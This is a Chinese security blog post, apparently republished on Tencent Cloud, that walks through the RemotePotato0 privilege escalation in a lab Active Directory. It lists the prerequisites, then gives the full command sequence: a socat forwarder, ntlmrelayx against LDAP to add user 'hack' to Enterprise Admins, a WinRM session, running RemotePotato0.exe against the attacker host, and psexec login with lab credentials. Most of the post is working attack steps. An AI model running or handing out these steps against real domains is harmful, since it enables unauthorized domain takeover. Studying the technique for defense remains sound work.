首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >RemotePotato0权限提升

RemotePotato0权限提升

作者头像
谢公子
发布2022-01-20 16:16:44
发布2022-01-20 16:16:44
8360
举报
文章被收录于专栏:谢公子学安全谢公子学安全

RemotePotato0权限提升

RemotePotato是Antonio Cocomazzi和Andrea Pierini发现的一种域内攻击技术,它允许攻击者将域用户权限提升到Enterprise Admin组内,此技术执行跨协议中继以实现NTLM Relay攻击,并将提升的NTLM身份验证流量中继到域控制器以实现权限提升。

利用前提条件:

  • 具有域管理员特权的用户已经登录到受害者主机或通过远程桌面登录
  • 攻击者已获得对受害者主机的初始访问权限,或者已通过WinRM或SSH访问(拥有本地管理员权限的账号,可以是本地administrator账号或域普通用户)
  • LDAP和SMB签名未配置 有如下拓扑图:

首先,在攻击机上执行如下命令,将本地135端口的流量转发到10.211.55.13的9998端口

sudo stty -tostop sudo socat TCP-LISTEN:

135,fork,reuseaddr TCP:10.211.55.13:9998

然后在攻击机上执行如下命令,进行ntlmrelay的监听,将要被提升权限的用户是hack

python3 ntlmrelayx.py -t ldap://10.211.55.4 --no-wcf-server --escalate-user hack

然后在攻击机上远程WinRM连接受害者机器。使用域用户hack登录,该用户在10.211.55.13的本地管理员组中。

pwsh Enter-PSSession -ComputerName 10.211.55.13 -Authentication Negotiate -Credential $(get-credential)

然后在目标机器上执行RemotePotato0.exe程序

.\RemotePotato0.exe -r 10.211.55.15 -p 9998

可以看到,我们ntlmrelayx脚本这里已经攻击成功了,hack用户已经成功提权,加进了Enterprise admins管理员组内。

没提权权限之前hack用户不能远程连接域控。提升权限后,hack用户可以远程连接域控

python3 psexec.py xie/hack:P@ss1234@10.211.55.4

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-10-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 谢公子学安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档